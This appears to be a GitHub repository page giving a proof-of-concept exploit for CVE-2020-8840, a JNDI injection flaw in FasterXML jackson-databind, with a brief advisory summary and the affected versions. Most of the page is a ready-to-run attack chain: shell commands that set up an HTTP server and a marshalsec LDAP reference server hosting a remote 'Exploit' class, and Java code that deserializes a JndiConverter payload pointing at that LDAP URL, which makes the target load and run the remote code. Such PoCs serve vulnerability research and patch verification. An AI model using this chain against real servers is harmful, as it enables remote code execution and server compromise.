fairyming/cve-2020-8840PoC exploit for CVE-2020-8840: JNDI injection leading to remote code execution in FasterXML jackson-databind. Includes environment setup, exploit chain, and remediation guidance.
jackson-databind is a JSON processing library under the FasterXML project.
On February 19, NVD released a security advisory disclosing a remote code execution vulnerability (CVE-2020-8840) in jackson-databind caused by JNDI injection, with a CVSS score of 9.8. In affected versions of jackson-databind, due to missing certain xbean-reflect/JNDI blacklist classes, such as org.apache.xbean.propertyeditor.JndiConverter, an attacker can achieve remote code execution through JNDI injection, and upon successful exploitation, gain control of the server (at the Web service level).
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
Here, simplehttp is used to set up the web server:
python -m SimpleHTTPServer 8080
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit
poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
